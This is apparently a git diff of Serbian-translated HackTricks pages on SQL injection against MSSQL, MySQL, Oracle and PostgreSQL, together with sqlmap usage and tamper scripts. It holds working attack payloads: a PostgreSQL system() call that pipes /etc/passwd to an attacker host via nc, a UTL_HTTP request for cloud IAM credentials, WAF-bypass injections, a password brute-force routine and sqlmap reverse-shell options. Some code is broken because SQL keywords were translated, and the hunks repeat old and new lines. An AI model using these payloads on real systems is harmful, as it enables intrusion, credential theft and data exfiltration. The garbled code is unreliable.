- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Ako znate naziv domena (_DOMAIN_ u ovom primeru) ova funkcija će vratiti **SID korisnika Administratora** u heksadecimalnom formatu. Ovo će izgledati kao `0x01050000000[...]0000f401`, obratite pažnju na to kako su **poslednja 4 bajta** broj **500** u **big endian** formatu, što je **uobičajeni ID korisnika administratora**.\
Ova funkcija će vam omogućiti da **znate ID domena** (svi bajtovi osim poslednja 4).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Ova funkcija će vratiti **korisničko ime ID-a koji je naznačen** (ako postoji), u ovom slučaju **0000e803** u big endian == **1000** (obično je ovo ID prvog regularnog korisnika koji je kreiran). Tada možete zamisliti da možete brute-force korisničke ID-eve od 1000 do 2000 i verovatno dobiti sva korisnička imena korisnika domena. Na primer, koristeći funkciju poput sledeće:
```python
@ -85,7 +85,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Skladišne procedure poput `xp_dirtree`, iako nisu zvanično dokumentovane od strane Microsoft-a, su opisane od strane drugih na mreži zbog njihove korisnosti u mrežnim operacijama unutar MSSQL-a. Ove procedure se često koriste u Out of Band Data exfiltration, kao što je prikazano u raznim [primerima](https://www.notsosecure.com/oob-exploitation-cheatsheet/) i [postovima](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Skladišne procedure poput `xp_dirtree`, iako nisu zvanično dokumentovane od strane Microsoft-a, su opisane od strane drugih online zbog njihove korisnosti u mrežnim operacijama unutar MSSQL-a. Ove procedure se često koriste u Out of Band Data exfiltration, kao što je prikazano u raznim [primerima](https://www.notsosecure.com/oob-exploitation-cheatsheet/) i [postovima](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Skladišna procedura `xp_dirtree`, na primer, se koristi za slanje mrežnih zahteva, ali je ograničena samo na TCP port 445. Broj porta nije moguće menjati, ali omogućava čitanje sa mrežnih deljenja. Korišćenje je prikazano u SQL skripti ispod:
```sql
@ -99,7 +99,7 @@ Pored toga, postoje alternativne skladišne procedure kao što su `master..xp_fi
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Očigledno, takođe možete koristiti **`xp_cmdshell`** da **izvršite** nešto što pokreće **SSRF**. Za više informacija **pročitajte relevantni odeljak** na stranici:
Očigledno možete koristiti **`xp_cmdshell`** da **izvršite** nešto što pokreće **SSRF**. Za više informacija **pročitajte relevantni odeljak** na stranici:
{{#ref}}
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
@ -111,7 +111,7 @@ Kreiranje CLR UDF (Common Language Runtime User Defined Function), što je kod n
Visual Studio projekat i uputstva za instalaciju su dostupni u [ovoj Github repozitoriji](https://github.com/infiniteloopltd/SQLHttp) kako bi se olakšalo učitavanje binarnog fajla u MSSQL kao CLR assembly, čime se omogućava izvršavanje HTTP GET zahteva iz MSSQL-a.
Osnova ove funkcionalnosti je enkapsulirana u `http.cs` fajlu, koji koristi `WebClient` klasu za izvršavanje GET zahteva i preuzimanje sadržaja kao što je prikazano u nastavku:
Osnova ove funkcionalnosti je obuhvaćena u `http.cs` fajlu, koji koristi `WebClient` klasu za izvršavanje GET zahteva i preuzimanje sadržaja kao što je prikazano u nastavku:
```csharp
using System.Data.SqlTypes;
using System.Net;
@ -213,7 +213,7 @@ koristi [tempdb]
napravi tabelu [test] ([id] int)
ubaci [test] vrednosti(1)
izaberi [id] iz [test]
obriši tabelu [test]
izbaci tabelu [test]
```
Can be reduced to:
@ -225,7 +225,7 @@ use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[tes
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Dodavanje beskorisnog exec() na kraju i navođenje WAF-a da misli da ovo nije validna upit
# Dodavanje beskorisnog exec() na kraju i navođenje WAF-a da misli da ovo nije važeća upit
admina'union select 1,'admin','testtest123'exec('select 1')--
## Ovo će biti:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'

View File

@ -52,7 +52,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
## Tok
Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" sa "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" za "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -79,7 +79,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
## Otkrivanje broja kolona
Korišćenje jednostavnog ORDER
Koristeći jednostavan ORDER
```
order by 1
order by 2
@ -92,7 +92,7 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Union Based
## MySQL Unija Zasnovana
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -125,7 +125,7 @@ Izaberite 2 kolone bez korišćenja bilo kakvog zareza ([https://security.stacke
```
### Preuzimanje vrednosti bez imena kolone
Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona unutar tabele, možete pokušati da saznate koliko kolona ima tako što ćete izvršiti nešto poput:
Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona unutar tabele, možete pokušati da saznate koliko kolona ima izvršavajući nešto poput:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns

View File

@ -18,9 +18,9 @@ Ova SSRF metoda je ograničena na TCP port 445 i ne dozvoljava modifikaciju broj
MySQL baze podataka omogućavaju korišćenje User Defined Functions (UDF) iz spoljašnjih biblioteka. Ako su ove biblioteke dostupne unutar specifičnih direktorijuma ili sistemskog `$PATH`, mogu se pozvati iz MySQL-a.
Ova tehnika omogućava izvršavanje mrežnih/HTTP zahteva putem UDF, pod uslovom da su ispunjeni određeni uslovi, uključujući pristup za pisanje na `@@plugin_dir`, `file_priv` postavljen na `Y`, i `secure_file_priv` onemogućen.
Ova tehnika omogućava izvršavanje mrežnih/HTTP zahteva putem UDF-a, pod uslovom da su ispunjeni određeni uslovi, uključujući pristup za pisanje na `@@plugin_dir`, `file_priv` postavljen na `Y`, i `secure_file_priv` onemogućen.
Na primer, `lib_mysqludf_sys` biblioteka ili druge UDF biblioteke koje omogućavaju HTTP zahteve mogu se učitati za izvršavanje SSRF. Biblioteke moraju biti prenete na server, što se može postići heksadecimalnim ili base64 kodiranjem sadržaja biblioteke i zatim pisanjem u odgovarajući direktorijum.
Na primer, biblioteka `lib_mysqludf_sys` ili druge UDF biblioteke koje omogućavaju HTTP zahteve mogu se učitati za izvršavanje SSRF-a. Biblioteke moraju biti prenete na server, što se može postići heksadecimalnim ili base64 kodiranjem sadržaja biblioteke i zatim pisanjem u odgovarajući direktorijum.
Proces se razlikuje ako `@@plugin_dir` nije moguće pisati, posebno za MySQL verzije iznad `v5.0.67`. U takvim slučajevima, alternativne putanje koje su moguće za pisanje moraju se koristiti.

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**Poslužite ovu objavu kopijom iz wayback machine-a obrisane objave sa [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**Poslužite ovaj post kopijom iz wayback machine-a obrisanog posta sa [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
@ -14,9 +14,9 @@ Pokrenuo sam docker komandu sa `--network="host"` flag-om kako bih mogao da imit
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Oracle paketi koji podržavaju URL ili specifikaciju imena hosta/broja porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### Oracle paketi koji podržavaju specifikaciju URL-a ili Hostname/Port Number <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Da bih pronašao bilo koje pakete i funkcije koje podržavaju specifikaciju hosta i porta, izvršio sam pretragu na [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Konkretno,
Da bih pronašao bilo koje pakete i funkcije koje podržavaju specifikaciju hosta i porta, izvršio sam Google pretragu na [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Konkretno,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
@ -78,11 +78,11 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: transfer timeout` pokazuje da je port otvoren, ali nije uspostavljena SMTP veza, dok `ORA-29278: SMTP transient error: 421 Service not available` pokazuje da je port zatvoren.
`ORA-29276: transfer timeout` pokazuje da je port otvoren, ali da nije uspostavljena SMTP veza, dok `ORA-29278: SMTP transient error: 421 Service not available` pokazuje da je port zatvoren.
**UTL_TCP**
Paket `UTL_TCP` i njegove procedure i funkcije omogućavaju [TCP/IP komunikaciju sa servisima](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ako je programiran za određeni servis, ovaj paket može lako postati način za pristup mreži ili izvršiti potpune Server Side Requests, jer se svi aspekti TCP/IP veze mogu kontrolisati.
Paket `UTL_TCP` i njegove procedure i funkcije omogućavaju [TCP/IP baziranu komunikaciju sa servisima](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ako je programiran za određeni servis, ovaj paket može lako postati način za pristup mreži ili izvršiti potpune Server Side Requests, jer se svi aspekti TCP/IP veze mogu kontrolisati.
Primer [na Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za uspostavljanje sirove TCP veze za preuzimanje web stranice](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Možemo ga malo pojednostaviti i koristiti za slanje zahteva ka instanci metapodataka, na primer, ili ka proizvoljnom TCP/IP servisu.
```
@ -124,11 +124,11 @@ END;
utl_tcp.close_connection(c);
END;
```
Zanimljivo je da, zbog sposobnosti kreiranja sirovih TCP zahteva, ovaj paket se takođe može koristiti za upit usluge meta-podataka Instance svih provajdera u oblaku, jer se tip metode i dodatni headeri mogu proslediti unutar TCP zahteva.
Zanimljivo je da, zbog sposobnosti kreiranja sirovih TCP zahteva, ovaj paket se takođe može koristiti za upit o usluzi meta-podataka Instance svih provajdera u oblaku, jer se tip metode i dodatni zaglavlja mogu proslediti unutar TCP zahteva.
**UTL_HTTP i Web Zahtevi**
Možda najčešća i najviše dokumentovana tehnika u svakom Out of Band Oracle SQL Injection tutorijalu je [`UTL_HTTP` paket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ovaj paket je definisan u dokumentaciji kao - `UTL_HTTP paket omogućava Hypertext Transfer Protocol (HTTP) pozive iz SQL i PL/SQL. Možete ga koristiti za pristup podacima na Internetu preko HTTP-a.`
Možda je najčešća i najšire dokumentovana tehnika u svakom Out of Band Oracle SQL Injection tutorijalu paket [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ovaj paket je definisan u dokumentaciji kao - `Paket UTL_HTTP vrši pozive Hypertext Transfer Protocol (HTTP) iz SQL i PL/SQL. Možete ga koristiti za pristup podacima na Internetu preko HTTP-a.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```

View File

@ -26,8 +26,8 @@ Proverite kako da kompromitujete host i eskalirate privilegije iz PostgreSQL u:
### PostgreSQL funkcije za rad sa stringovima
Manipulacija stringovima može vam pomoći da **zaobiđete WAF-ove ili druge restrikcije**.\
[**Na ovoj stranici**](https://www.postgresqltutorial.com/postgresql-string-functions/)**možete pronaći neke korisne funkcije za stringove.**
Manipulacija stringovima može vam pomoći da **zaobiđete WAF-ove ili druga ograničenja**.\
[**Na ovoj stranici**](https://www.postgresqltutorial.com/postgresql-string-functions/)**možete pronaći neke korisne funkcije za rad sa stringovima.**
### Stacked Queries
@ -52,7 +52,7 @@ SELECT database_to_xml(true,true,'');
```
### Strings in Hex
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći **`query_to_xml`** funkciju). **Možete koristiti convert_from da prosledite string kao hex i na ovaj način zaobiđete filtre:**
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert_from da prosledite string kao hex i na ovaj način zaobiđete filtre:**
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
@ -62,9 +62,9 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
```
### Zabranjene navodnike
### Zabranjene navodnice
Ako ne možete koristiti navodnike za vaš payload, možete to zaobići sa `CHR` za osnovne klauzule (_konkatenacija karaktera funkcioniše samo za osnovne upite kao što su SELECT, INSERT, DELETE, itd. Ne funkcioniše za sve SQL izjave_):
Ako ne možete koristiti navodnice za vaš payload, možete to zaobići sa `CHR` za osnovne klauzule (_konkatenacija karaktera funkcioniše samo za osnovne upite kao što su SELECT, INSERT, DELETE, itd. Ne funkcioniše za sve SQL izjave_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```

View File

@ -2,11 +2,11 @@
### PostgreSQL Veliki Objekti
PostgreSQL nudi strukturu poznatu kao **veliki objekti**, dostupnu putem tabele `pg_largeobject`, koja je dizajnirana za skladištenje velikih tipova podataka, kao što su slike ili PDF dokumenti. Ovaj pristup je prednost u odnosu na funkciju `COPY TO` jer omogućava **izvoz podataka nazad u fajl sistem**, osiguravajući da se tačna replika originalnog fajla održava.
PostgreSQL nudi strukturu poznatu kao **veliki objekti**, dostupnu putem tabele `pg_largeobject`, koja je dizajnirana za čuvanje velikih tipova podataka, kao što su slike ili PDF dokumenti. Ovaj pristup je prednost u odnosu na funkciju `COPY TO` jer omogućava **izvoz podataka nazad u fajl sistem**, osiguravajući da se tačna replika originalnog fajla održava.
Za **skladištenje kompletnog fajla** unutar ove tabele, objekat mora biti kreiran u tabeli `pg_largeobject` (identifikovan LOID-om), nakon čega se umetnuju delovi podataka, svaki veličine 2KB, u ovaj objekat. Ključno je da ovi delovi budu tačno 2KB u veličini (uz moguću iznimku poslednjeg dela) kako bi se osiguralo da funkcija izvoza radi ispravno.
Za **čuvanje kompletnog fajla** unutar ove tabele, objekat mora biti kreiran u tabeli `pg_largeobject` (identifikovan LOID-om), nakon čega se umetnuju delovi podataka, svaki veličine 2KB, u ovaj objekat. Ključno je da ovi delovi budu tačno 2KB (uz moguću iznimku poslednjeg dela) kako bi se osiguralo da funkcija izvoza radi ispravno.
Da biste **podelili svoje binarne podatke** na delove od 2KB, mogu se izvršiti sledeće komande:
Da **podelite svoje binarne podatke** na delove od 2KB, mogu se izvršiti sledeće komande:
```bash
split -b 2048 your_file # Creates 2KB sized files
```

View File

@ -1,8 +1,8 @@
# dblink/lo_import eksfiltracija podataka
# dblink/lo_import data exfiltration
{{#include ../../../banners/hacktricks-training.md}}
**Ovo je primer kako eksfiltrirati podatke učitavanjem fajlova u bazu podataka pomoću `lo_import` i eksfiltrirati ih koristeći `dblink_connect`.**
**Ovo je primer kako exfiltrirati podatke učitavanjem fajlova u bazu podataka pomoću `lo_import` i exfiltrirati ih koristeći `dblink_connect`.**
**Proverite rešenje na:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)

View File

@ -16,7 +16,7 @@ Fajl `pg_hba.conf` može biti loše konfigurisan **dozvoljavajući konekcije** s
```
local all all trust
```
_Napomena da se ova konfiguracija obično koristi za modifikovanje lozinke db korisnika kada je administrator zaboravi, tako da je ponekad možete pronaći._\
_Napomena da se ova konfiguracija često koristi za promenu lozinke db korisnika kada je administrator zaboravi, tako da je ponekad možete pronaći._\
&#xNAN;_&#x4E;ote takođe da je datoteka pg_hba.conf čitljiva samo od strane postgres korisnika i grupe i zapisiva samo od strane postgres korisnika._
Ovaj slučaj je **koristan ako** već imate **shell** unutar žrtve jer će vam omogućiti da se povežete na postgresql bazu podataka.
@ -26,7 +26,7 @@ Još jedna moguća pogrešna konfiguracija sastoji se od nečega poput ovoga:
host all all 127.0.0.1/32 trust
```
Kao što će omogućiti svima sa localhost-a da se povežu na bazu podataka kao bilo koji korisnik.\
U ovom slučaju, i ako **`dblink`** funkcija **radi**, mogli biste **povećati privilegije** povezivanjem na bazu podataka kroz već uspostavljenu vezu i pristupiti podacima kojima ne biste trebali imati pristup:
U ovom slučaju, i ako **`dblink`** funkcija **radi**, mogli biste **povećati privilegije** povezivanjem na bazu podataka putem već uspostavljene veze i pristupiti podacima kojima ne biste trebali imati pristup:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres

View File

@ -4,7 +4,7 @@
**Pronađite [više informacija o ovim napadima u originalnom dokumentu](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
PL/pgSQL je **potpuno opremljen programski jezik** koji proširuje mogućnosti SQL-a nudeći **poboljšanu proceduralnu kontrolu**. Ovo uključuje korišćenje petlji i raznih kontrolnih struktura. Funkcije napisane u PL/pgSQL jeziku mogu se pozivati SQL izjavama i okidačima, čime se proširuje opseg operacija unutar okruženja baze podataka.
PL/pgSQL je **potpuno funkcionalan programski jezik** koji proširuje mogućnosti SQL-a nudeći **poboljšanu proceduralnu kontrolu**. Ovo uključuje korišćenje petlji i raznih kontrolnih struktura. Funkcije napisane u PL/pgSQL jeziku mogu se pozivati SQL izjavama i okidačima, čime se proširuje opseg operacija unutar okruženja baze podataka.
Možete zloupotrebiti ovaj jezik kako biste tražili od PostgreSQL-a da izvrši brute-force napad na korisničke akreditive, ali mora postojati u bazi podataka. Možete proveriti njegovo postojanje koristeći:
```sql
@ -28,9 +28,9 @@ Napomena da za sledeći skript da bi radio **funkcija `dblink` treba da postoji*
```sql
CREATE EXTENSION dblink;
```
## Password Brute Force
## Bruteforce lozinke
Evo kako možete izvršiti bruteforce napad na lozinku od 4 karaktera:
Evo kako možete izvršiti bruteforce lozinke od 4 karaktera:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,

View File

@ -4,9 +4,9 @@
## PostgreSQL ekstenzije
PostgreSQL je razvijen sa ekstenzibilnošću kao osnovnom karakteristikom, omogućavajući mu da besprekorno integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, u suštini biblioteke napisane u C, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.
PostgreSQL je razvijen sa ekstenzibilnošću kao osnovnom karakteristikom, omogućavajući mu da besprekorno integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, suštinski biblioteke napisane u C, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.
Od verzije 8.1 nadalje, postavljen je poseban zahtev za biblioteke ekstenzija: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, osiguravajući da se koriste samo kompatibilne i potencijalno sigurne ekstenzije.
Od verzije 8.1 nadalje, postavljen je specifičan zahtev za biblioteke ekstenzija: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, osiguravajući da se koriste samo kompatibilne i potencijalno sigurne ekstenzije.
Takođe, imajte na umu da **ako ne znate kako da** [**otpremite fajlove na žrtvu koristeći PostgreSQL, trebali biste pročitati ovaj post.**](big-binary-files-upload-postgresql.md)
@ -14,7 +14,7 @@ Takođe, imajte na umu da **ako ne znate kako da** [**otpremite fajlove na žrtv
**Za više informacija proverite: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Izvršavanje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovo: [Metasploit modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
Izvršenje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovaj: [Metasploit modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -92,7 +92,7 @@ PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0
```
Za kompatibilnost, od suštinskog je značaja da se glavne verzije usklade. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar 9.6.x serije treba da obezbedi uspešnu integraciju.
Da instalirate tu verziju na vašem sistemu:
Da biste instalirali tu verziju na vašem sistemu:
```bash
apt install postgresql postgresql-server-dev-9.6
```

View File

@ -4,7 +4,7 @@
## PostgreSQL jezici
PostgreSQL baza podataka kojoj ste dobili pristup može imati različite **instalirane skriptne jezike** koje možete iskoristiti da **izvršite proizvoljan kod**.
PostgreSQL baza podataka kojoj imate pristup može imati različite **instalirane skriptne jezike** koje možete iskoristiti da **izvršite proizvoljan kod**.
Možete **pokrenuti**:
```sql
@ -41,7 +41,7 @@ Većina skriptnih jezika koje možete instalirati u PostgreSQL ima **2 varijante
> CREATE EXTENSION plrubyu;
> ```
Napomena da je moguće kompajlirati sigurne verzije kao "nesigurne". Proverite [**ovo**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) na primer. Tako da uvek vredi pokušati da izvršite kod čak i ako pronađete samo **pouzdanu** verziju.
Napomena da je moguće kompajlirati sigurne verzije kao "nesigurne". Proverite [**ovo**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) na primer. Tako da uvek vredi pokušati da izvršite kod čak i ako pronađete samo instaliranu **pouzdanu** verziju.
## plpythonu/plpython3u
@ -189,7 +189,7 @@ SELECT findx("/"); #Find an executables in folder (recursively)
```
{{#endtab}}
{{#tab name="Pronađi exec putem subs"}}
{{#tab name="Find exec by subs"}}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable

View File

@ -1,5 +1,3 @@
{{#include ../../banners/hacktricks-training.md}}
# Osnovni argumenti za SQLmap
## Opšti
@ -85,7 +83,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Proučavanje veb sajta sa SQLmap i automatska eksploatacija
## Proučavanje veb sajta sa SQLmap-om i automatska eksploatacija
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -113,14 +111,14 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Opis |
| Tamper | Description |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim UTF-8 punim širinom ekvivalentom |
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom |
| apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom |
| appendnullbyte.py | Dodaje kodirani NULL bajt karakter na kraj payload-a |
| appendnullbyte.py | Dodaje kodirani NULL bajt na kraj payload-a |
| base64encode.py | Base64 kodira sve karaktere u datom payload-u |
| between.py | Zamenjuje operator veći od \('&gt;'\) sa 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Zamenjuje karakter razmaka posle SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
| between.py | Zamenjuje operator veće od \('&gt;'\) sa 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Zatim zamenjuje karakter = sa LIKE operatorom |
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
| commalessmid.py | Zamenjuje instance poput 'MID\(A, B, C\)' sa 'MID\(A FROM B FOR C\)' |
@ -129,8 +127,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u \(ne obrađuje već kodirane\). "%u0022" |
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u \(ne obrađuje već kodirane\). "\u0022" |
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti \('='\) sa operatorom 'LIKE' |
| escapequotes.py | Escape-uje navodnike \(' i "\) |
| greatest.py | Zamenjuje operator veći od \('&gt;'\) sa 'GREATEST' ekvivalentom |
| escapequotes.py | Slash escape za navodnike \(' i "\) |
| greatest.py | Zamenjuje operator veće od \('&gt;'\) sa 'GREATEST' ekvivalentom |
| halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči |
| ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL\(A, B\)' sa 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom |
@ -139,27 +137,27 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu \(npr. .replace\("SELECT", ""\)\) filteri |
| percentage.py | Dodaje znak procenta \('%'\) ispred svakog karaktera |
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u \(ne obrađuje već kodirane\) |
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom vrednošću |
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću u različitim slučajevima |
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
| securesphere.py | Dodaje posebno oblikovanu string |
| sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscation iz DBMS logova |
| sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
| space2comment.py | Zamenjuje karakter razmaka \(' '\) sa komentarima |
| space2dash.py | Zamenjuje karakter razmaka \(' '\) sa crticom \('--'\) praćenom nasumičnim stringom i novim redom \('\n'\) |
| space2hash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenom nasumičnim stringom i novim redom \('\n'\) |
| space2morehash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenom nasumičnim stringom i novim redom \('\n'\) |
| space2dash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom crtica \('--'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
| space2hash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
| space2morehash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim nasumičnim stringom i novim redom \('\n'\) |
| space2mssqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2mssqlhash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenom novim redom \('\n'\) |
| space2mssqlhash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim novim redom \('\n'\) |
| space2mysqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2mysqldash.py | Zamenjuje karakter razmaka \(' '\) sa crticom \('--'\) praćenom novim redom \('\n'\) |
| space2mysqldash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom crtica \('--'\) praćenim novim redom \('\n'\) |
| space2plus.py | Zamenjuje karakter razmaka \(' '\) sa plusom \('+'\) |
| space2randomblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima \(&& i |
| unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT |
